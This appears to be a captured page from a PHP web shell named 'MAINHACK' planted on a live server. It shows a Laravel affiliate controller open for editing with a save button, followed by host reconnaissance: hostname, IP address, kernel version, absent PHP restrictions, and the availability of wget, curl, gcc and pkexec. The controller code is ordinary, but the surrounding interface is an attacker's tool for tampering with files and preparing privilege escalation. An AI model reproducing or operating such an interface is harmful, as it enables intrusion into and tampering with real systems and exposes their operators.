[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AffiliateController.php
<?php namespace App\Http\Controllers\User; use App\Http\Controllers\Controller; use App\Models\ReferralEarning; use App\Models\User; use DataTables; use Illuminate\Http\Request; class AffiliateController extends Controller { /** * Create a new controller instance. * * @return void */ public function __construct() {} public function index() { $data['alert_col'] = 'col-lg-10 offset-lg-1'; if (auth()->user()->referral_token == null) { auth()->user()->referral_token = generate_referral_token(); auth()->user()->save(); } $data['total_referral'] = auth()->user()->referrals()->count(); $data['paid_referral'] = auth()->user()->referrals()->where('referral_status', 1)->count(); $data['total_earning'] = auth()->user()->referral_earnings()->sum('commission_amount'); $data['total_payout'] = auth()->user()->referral_payouts()->where('status', '!=', 99)->sum('amount'); return view('backend.user.affiliate.overview', $data); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function referrals() { $assets = ['datatable']; return view('backend.user.affiliate.referrals', compact('assets')); } public function get_table_data() { $referralearnings = ReferralEarning::select('referral_earnings.*') ->with('reffered_user') ->where('user_id', auth()->id()) ->orderBy("referral_earnings.id", "desc"); return Datatables::eloquent($referralearnings) ->editColumn('amount', function ($referralearning) { return decimalPlace($referralearning->amount, currency()); }) ->editColumn('commission_percentage', function ($referralearning) { return $referralearning->commission_percentage . '%'; }) ->editColumn('commission_amount', function ($referralearning) { return decimalPlace($referralearning->commission_amount, currency()); }) ->setRowId(function ($referralearning) { return "row_" . $referralearning->id; }) ->rawColumns(['amount', 'commission_amount']) ->make(true); } public function unpaid_referrals(Request $request) { $assets = ['datatable']; return view('backend.user.affiliate.unpaid_referrals', compact('assets')); } public function get_unpaid_table_data() { $users = User::select('users.*') ->where('referrer_id', auth()->id()) ->where('referral_status', 0) ->orderBy("users.id", "desc"); return Datatables::eloquent($users) ->editColumn('membership_type', function ($referralearning) { return ucwords($referralearning->membership_type); }) ->addColumn('amount', function ($referralearning) { return _lang('Not Paid'); }) ->setRowId(function ($user) { return "row_" . $user->id; }) ->make(true); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002